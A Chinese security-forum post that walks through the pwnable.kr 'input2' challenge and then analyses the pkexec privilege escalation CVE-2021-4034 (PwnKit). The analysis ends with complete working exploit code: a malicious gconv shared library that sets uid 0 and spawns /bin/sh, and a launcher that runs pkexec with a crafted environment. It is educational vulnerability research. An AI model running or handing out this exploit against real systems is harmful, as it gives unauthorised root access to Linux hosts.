-
-
[原创]pwnable.kr - input2 & pkexec(CVE-2021-4034)漏洞
-
2023-4-11 23:42 10675
-
pwnable.kr - input2 & pkexec(CVE-2021-4034)漏洞
1 input2 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main( int argc, char * argv[], char * envp[]){ printf( "Welcome to pwnable.kr\n" ); printf( "Let's see if you know how to give input to program\n" ); printf( "Just give me correct inputs then you will get the flag :)\n" ); / / argv if (argc ! = 100 ) return 0 ; if (strcmp(argv[ 'A' ], "\x00" )) return 0 ; if (strcmp(argv[ 'B' ], "\x20\x0a\x0d" )) return 0 ; printf( "Stage 1 clear!\n" ); / / stdio char buf[ 4 ]; read( 0 , buf, 4 ); if (memcmp(buf, "\x00\x0a\x00\xff" , 4 )) return 0 ; read( 2 , buf, 4 ); if (memcmp(buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf( "Stage 2 clear!\n" ); / / env if (strcmp( "\xca\xfe\xba\xbe" , getenv( "\xde\xad\xbe\xef" ))) return 0 ; printf( "Stage 3 clear!\n" ); / / file FILE * fp = fopen( "\x0a" , "r" ); if (!fp) return 0 ; if ( fread(buf, 4 , 1 , fp)! = 1 ) return 0 ; if ( memcmp(buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ; fclose(fp); printf( "Stage 4 clear!\n" ); / / network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd = = - 1 ){ printf( "socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv[ 'C' ]) ); if (bind(sd, (struct sockaddr * )&saddr, sizeof(saddr)) < 0 ){ printf( "bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr * )&caddr, (socklen_t * )&c); if (cd < 0 ){ printf( "accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) ! = 4 ) return 0 ; if (memcmp(buf, "\xde\xad\xbe\xef" , 4 )) return 0 ; printf( "Stage 5 clear!\n" ); / / here's your flag system( "/bin/cat flag" ); return 0 ; } |
分为5个stage,需要依次解决
1.1 argv
命令行执行程序调用的是execve
系统调用,其函数原型如下所示,第一个参数是运行程序文件名,第二个参数是argv[]
,第三个参数是envp[]
.同时,检测的是main函数的argc
和argv
.
1 2 3 4 | int execve(const char * filename, char * const argv[], char * const envp[]); int main( int argc, char * argv[ ] ) { / * … * / } |
main函数的第一个参数argc
表示的是命令行参数个数。argv
则是命令行参数 argv[0]= filename
。
1 2 3 4 5 | / / argv if (argc ! = 100 ) return 0 ; if (strcmp(argv[ 'A' ], "\x00" )) return 0 ; if (strcmp(argv[ 'B' ], "\x20\x0a\x0d" )) return 0 ; printf( "Stage 1 clear!\n" ); |
- argc == 100
- argv['A'] == '\x00'
- argv['B'] == '\x20\x0a\x0d'
翻译一下:
1 2 3 4 5 | char * argv[ 101 ] = { "/home/input2/input" , [ 1 ... 99 ] = "A" , NULL}; argv[ 'A' ] = "\x00" ; argv[ 'B' ] = "\x20\x0a\x0d" ; execve( "/home/input2/input" ,argv,NULL); |
1.2 stdio
1 2 3 4 5 6 7 | / / stdio char buf[ 4 ]; read( 0 , buf, 4 ); if (memcmp(buf, "\x00\x0a\x00\xff" , 4 )) return 0 ; read( 2 , buf, 4 ); if (memcmp(buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf( "Stage 2 clear!\n" ); |
1 | ssize_t read( int fd, void * buf, size_t count); |
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
1 | int memcmp(const void * s1, const void * s2, size_t n); |
the memcmp() function compares the first n bytes (each interpreted as unsigned char) of the memory areas s1 and s2.
即:
- 从标准输入流读取字符串写入内存,和
\x00\x0a\x00\xff
比较。 - 从标准错误流读取字符串写入内存和
\x00\x0a\x02\xff
比较。
fd = 0 很好解决,stdin,直接输入即可;fd = 2的输入不是很好解决,但是pwntools
提供了对应的接口,如果没有pwntools,应该怎么实现?
- dup函数可以实现IO重定向
- 使用open函数可以获取到一个fd,将字符串写入文件
因此有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> int main() { int fd1 = open ( "./stdin" , O_RDONLY); int fd2 = open ( "./stderr" , O_RDONLY); dup2(fd1, 0 ); / / 将文件描述符fd1重定向到标准输入 dup2(fd2, 2 ); / / 将文件描述符fd2重定向到标准错误 close(fd1); close(fd2); char * argv[ 101 ] = { "/home/input2/input" , [ 1 ... 99 ] = "A" , NULL}; argv[ 'A' ] = "\x00" ; argv[ 'B' ] = "\x20\x0a\x0d" ; execve( "/home/input2/input" ,argv,NULL); return 0 ; } |
1.3 env
1 2 3 | / / env if (strcmp( "\xca\xfe\xba\xbe" , getenv( "\xde\xad\xbe\xef" ))) return 0 ; printf( "Stage 3 clear!\n" ); |
上述execve函数已经讲过,因此直接添加即可:
1 2 | char * env[ 2 ] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe" , NULL}; execve( "/home/input/input" ,argv,env); |
1.4 file
1 2 3 4 5 6 7 | / / file FILE * fp = fopen( "\x0a" , "r" ); if (!fp) return 0 ; if ( fread(buf, 4 , 1 , fp)! = 1 ) return 0 ; if ( memcmp(buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ; fclose(fp); printf( "Stage 4 clear!\n" ); |
基本文件流操作:
1 2 3 | FILE * fp = fopen( "\x0a" , "w" ); fwrite( "\x00\x00\x00\x00" , 4 , 1 ,fp); fclose(fp); |
需要注意的是,能写入的目录只有/tmp,如何才能读取到想要的文件是需要考虑一下的。
1.5 network
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | / / network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd = = - 1 ){ printf( "socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv[ 'C' ]) ); if (bind(sd, (struct sockaddr * )&saddr, sizeof(saddr)) < 0 ){ printf( "bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr * )&caddr, (socklen_t * )&c); if (cd < 0 ){ printf( "accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) ! = 4 ) return 0 ; if (memcmp(buf, "\xde\xad\xbe\xef" , 4 )) return 0 ; printf( "Stage 5 clear!\n" ); |
saddr.sin_port = htons( atoi(argv['C']) );
监听端口通过环境变量获取- 通过socket接收到的内容是
\xde\xad\xbe\xef
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | argv[ 'C' ] = "10010" ; int sockfd; struct sockaddr_in server; sockfd = socket(AF_INET,SOCK_STREAM, 0 ); if ( sockfd < 0 ){ perror( "Cannot create the socket" ); exit( 1 ); } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr( "pwnable.kr" ); server.sin_port = htons( 55555 ); if ( connect(sockfd, (struct sockaddr * ) &server, sizeof(server)) < 0 ){ perror( "Problem connecting" ); exit( 1 ); } char buf[ 4 ] = "\xde\xad\xbe\xef" ; write(sockfd,buf, 4 ); close(sockfd); |
需要注意的是,最后一步由于远程防火墙问题,pwntools是连不上去的,只有提交到本地之后才可以,另外,由于我们的目录在/tmp
,而读取的flag
并不在,需要想办法获取对应的内容,一个好的方法是软连接。
2 总结 & pkexec(CVE-2021-4034)浅析
本道题包含的知识点比较多文件IO,进程通信,网络通信均有涉及,如果对此不是很了解建议翻阅CSAPP相关章节。
另在整理本题时想到一个比较简单的漏洞和本题有一定相似性,借此把之前的简单分析也放出来,可以看看真实漏洞和习题的异同。
2.1 DIff信息
结论:
- 增加了
argc < 1
的校验 - 修改了
argv[n]
的检测逻辑 ,ifargv[n] != null
thenargv[n] = s
.
问题:
- 什么情况下argc 会小于1 ?
- 什么情况下
argv == null
?
2.2 execve systemcall & argc,argv,envp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | / * argc.c * / #include <stdio.h> #include <unistd.h> int main ( int argc, char * * argv) { printf( "argc: %d\n" , argc); for ( int i = 0 ; i < argc; i + + ) { if (argv[i] ! = NULL) { printf( "argv[%d]: %s\n" , i, argv[i]); } else { printf( "argv[%d]: NULL\n" , i); } } return 0 ; } |
如果执行 argc 1 2 3 4 5
得到结果是:
1 2 3 4 5 6 7 8 | {~ / pkexec - CVE - 2021 - 4034 } greetings, earthling [ 33.059kb ]$ ☞ . / argc 1 2 3 4 5 argc: 6 argv: . / argc argv: 1 argv: 2 argv: 3 argv: 4 argv: 5 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | / * execve.c * / #include <stdio.h> #include <unistd.h> int main () { char * const argv[] = { "AAAA1111" , "BBBB2222" , "CCCC3333" , NULL }; char * const envp[] = { "DDDD3333" , "EEEE4444" , "FFFF5555" , NULL }; / / return execve( "./argc" , {NULL}, {NULL}); return execve( "./argc" , argv, envp); } |
如果执行execve("./argc", NULL, NULL)
得到的结果是:
1 2 | xiaochen {~ / pkexec - CVE - 2021 - 4034 } greetings, earthling [ 33.059kb ]$ ☞ . / execve argc: 0 |
如果将argc.c
中for (int i = 0; i < argc; i++)
改为 for (int i = 0; i < 8; i++)
执行argc 1 2 3 4 5
结果是
1 2 3 4 5 6 7 8 9 10 | {~ / pkexec - CVE - 2021 - 4034 } greetings, earthling [ 33.059kb ]$ ☞ . / argc 1 2 3 4 argc: 5 argv[ 0 ]: . / argc argv[ 1 ]: 1 argv[ 2 ]: 2 argv[ 3 ]: 3 argv[ 4 ]: 4 argv[ 5 ]: NULL argv[ 6 ]: USER = xiaochen argv[ 7 ]: __CFBundleIdentifier = com.microsoft.VSCode |
后面的结果是什么?
如果设定argv和envp参数,执行execve.c
得到的结果是:
1 2 3 4 5 6 7 8 9 10 | {~ / pkexec - CVE - 2021 - 4034 } greetings, earthling [ 33.059kb ]$ ☞ . / execve argc: 3 argv[ 0 ]: AAAA1111 argv[ 1 ]: BBBB2222 argv[ 2 ]: CCCC3333 argv[ 3 ]: NULL argv[ 4 ]: DDDD3333 argv[ 5 ]: EEEE4444 argv[ 6 ]: FFFF5555 argv[ 7 ]: NULL |
execve系统调用中连续的参数为argc argv 以及 envp
如下图所示:
1 2 3 4 5 | | - - - - - - - - - + - - - - - - - - - + - - - - - + - - - - - - - - - - - - | - - - - - - - - - + - - - - - - - - - + - - - - - + - - - - - - - - - - - - | | argv[ 0 ] | argv[ 1 ] | ... | argv[argc] | envp[ 0 ] | envp[ 1 ] | ... | envp[envc] | | - - - - | - - - - + - - - - | - - - - + - - - - - + - - - - - | - - - - - - | - - - - | - - - - + - - - - | - - - - + - - - - - + - - - - - | - - - - - - | V V V V V V "program" "-option" NULL "value" "PATH=name" NULL |
结论:
如果存在应用,直接使用argv[1]而未对参数进行校验,那么如果此时使用execve
执行命令 传递参数为NULL,*
那么此时:
- argc = 0
- 应用程序会错误读取
envp[0]
作为对应的argv[1]
,即存在 out-of-boundsargv[1] = envp[0]
可以查看一篇slide
小结:
- 目前已知信息:pkexec存在越界读envp作为argv的可能性
提权?
2.3 suid权限代表着什么
如果普通用户执行具有suid权限应用比如passwd,那么其
efftive id = root
,real id = user
. 即具有suid权限应用可以被普通用户启动,并且运行权限会被修改为root。
那么如果想办法使用环境变量启动一个bash,这个bash就能具有root权限,可利用环境变量有哪些?
LD_PRELOAD
看起来很简单?直接使用LD_PRELOAD是否可行?NO
1234567/
*
env.c
*
/
#include <stdio.h>
int
main() {
system(
"env"
);
return
0
;
}
123456789101112131415161718192021222324252627282930#!/bin/bash
export GCONV_PATH
=
AAAA0001
export GETCONF_DIR
=
AAAA0002
export HOSTALIASES
=
AAAA0003
export LD_AUDIT
=
AAAA0004
export LD_DEBUG
=
AAAA0005
export LD_DEBUG_OUTPUT
=
AAAA0006
export LD_DYNAMIC_WEAK
=
AAAA0007
export LD_HWCAP_MASK
=
AAAA0008
export LD_LIBRARY_PATH
=
AAAA0009
export LD_ORIGIN_PATH
=
AAAA0010
export LD_PRELOAD
=
AAAA0011
export LD_PROFILE
=
AAAA0012
export LD_SHOW_AUXV
=
AAAA0013
export LD_USE_LOAD_BIAS
=
AAAA0014
export LOCALDOMAIN
=
AAAA0015
export LOCPATH
=
AAAA0016
export MALLOC_TRACE
=
AAAA0017
export NIS_PATH
=
AAAA0018
export NLSPATH
=
AAAA0019
export RESOLV_HOST_CONF
=
AAAA0020
export RES_OPTIONS
=
AAAA0021
export TMPDIR
=
AAAA0022
export TZDIR
=
AAAA0023
export PATH
=
AAAA1001:
/
usr
/
bin
export SHELL
=
AAAA1002
export CHARSET
=
AAAA1003
export BBBB
=
AAAA1004
结论:环境变量中,不安全的环境变量不会被引入
那么如何把shell写进入呢?
漏洞发现者提出了一种巧妙的方法
1 2 3 4 5 | The answer to our question comes from pkexec's complexity: to print an error message to stderr, pkexec calls the GLib's function g_printerr() (note: the GLib is a GNOME library, not the GNU C Library, aka glibc); for example, the functions validate_environment_variable() and log_message() call g_printerr() (at lines 126 and 408 - 409 ): |
1 2 3 4 5 6 7 8 | 88 log_message (gint level, 89 gboolean print_to_stderr, 90 const gchar * format , 91 ...) 92 { ... 125 if (print_to_stderr) 126 g_printerr ( "%s\n" , s); |
1 2 3 4 5 6 7 8 | 383 validate_environment_variable (const gchar * key, 384 const gchar * value) 385 { ... 406 log_message (LOG_CRIT, TRUE, 407 "The value for the SHELL variable was not found the /etc/shells file" ); 408 g_printerr ( "\n" 409 "This incident has been reported.\n" ); |
g_printerr()
正常情况下是为了以UTF-8编码格式打印错误信息。- 如果环境变量中的
CHARSET != UTF-8
,它同样能够以其他编码方式打印错误信息。(CHARSET 环境变量不属于不安全环境变量) g_printerr()
会调用glibc的iconv_open()
函数将UTF-8格式的信息转为其他格式。为了转换格式,
iconv_open()
会调用一个共享库函数。- 正常情况下,找到系统提供的gconv-modules文件,然后从中拿到需要的共享库函数。
之后会调用对应文件中的
gconv()
函数和gconv_init()
函数。但是通过环境变量
GCONV_PATH
可以强制指定iconv_open()
读取某一个特定的共享库问题:
GCONV_PATH
是不安全函数,不会被加载到程序中。pkexec可以将
GCONV_PATH
环境变量重新载入。 为什么?
到目前位置所知道的信息:
- pkexec可以将envp错误识别为argv
- pkexec使用的
g_printerr()
会使用iconv_open()
加载某一个共享库识别其他字符,并且可以通过GCONV_PATH
环境变量控制共享库的路径。 - pkexec具有suid权限
2.4 POC分析
到这里,基本上就已经明确了所有步骤:
- 构造执行shell的文件,编译为so文件
- 向pkexec写入环境变量,控制GCONV_PATH,使得shell可以被链接到程序上
- 使pkexec能够运行错误输出函数
g_printerr()
,触发具有shell的so
回到源码,分析调用链。
- 在534行 进入循环,n从1开始便利
for (n = 1; n < (guint) argc; n++)
- 在610行 会将argv[1]取出,path指向它
path = g_strdup (argv[n]);
- 在629行 对path参数校验,不是以
/
开头,进去判断居于 - 在632行 将path传递给s
s = g_find_program_in_path (path);
注g_find_program_in_path()
是 Glib函数,作用在 PATH 环境变量的目录中搜索一个名为path
的文件。 - 在639行
argv[n] = path = s
- 在670行
if (!validate_environment_variable (key, value))
会对环境变量进行合法性校验,此时如果报错会调用g_printerr()
- 在702行会对环境变量进行清除操作
if (clearenv () != 0)
假设存在环境变量 PATH=name
,如果name
存在,并且name
目录中有一个名为path
的文件,传递给envp[0]。
如果PATH=name=.
并且有一个目录name=.
,此目录中有一个shell.so:.
,那么这个shell.so:.
会被传递给argv[1]
->envp[0]
如果在开始,使用execve()
执行pkexec,并且传递第一个参数为NULL
,那么 在第二步,一开始读取的argv[1] 实际上是envp[0]
.
并且后续会找到一个可执行文件传递给s,继而传递给argv[1]
,注意argv[1]指向的实际上是第一个环境变量。
通过这种方式,就能修改掉第一个环境变量。
2.5 利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | / / pwnkit.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(void) { } void gconv_init(void * step) { char * const args[] = { "/bin/sh" , NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin" , NULL }; setuid( 0 ); setgid( 0 ); execve(args[ 0 ], args, environ); exit( 0 ); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | / / exp.c #include <unistd.h> int main( int argc, char * * argv) { char * const args[] = { NULL }; char * const environ[] = { "pwnkit.so:." , "PATH=GCONV_PATH=." , "SHELL=/lol/i/do/not/exists" , "CHARSET=PWNKIT" , "GIO_USE_VFS=" , NULL }; return execve( "/usr/bin/pkexec" , args, environ); } |
构造环境变量如上图,按POC所叙述,
- 首先会将
pwnkit.so:.
传递给g_find_program_in_path()
函数,在环境变量中PATH
的目录GCONV_PATH=.
中寻找pwnkit.so:.
,最后找到的以PATH目录为起始位置的路径是GCONV_PATH=./pwnkit.so:.
, - 这个绝对路径会被写入
envp[0]
。 - 此时系统中具有异常的环境变量
GCONV_PATH=./pwnkit.so:.
- 利用
SHELL
环境变量构造报错,调用g_printer()
函数, - 此时由于
CHARSET != UTF8
所以会调用iconv_open()
函数。 - 由于上面设置了
GCONV_PATH
所以此时会将./pwnkit.so
错误的作为库函数加载并执行。参考
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课